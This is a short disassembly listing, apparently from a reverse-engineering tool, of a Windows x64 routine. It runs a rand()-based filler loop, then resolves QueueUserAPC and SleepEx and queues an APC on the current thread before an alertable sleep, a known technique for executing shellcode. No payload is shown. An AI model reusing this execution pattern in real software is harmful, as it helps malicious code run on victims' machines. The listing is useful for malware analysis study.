jmp 0x14000299b
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c30
movq rax, xmm0
mov qword [rbp + 0x610], rax
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x34b
jle 0x140002957
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x810]
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret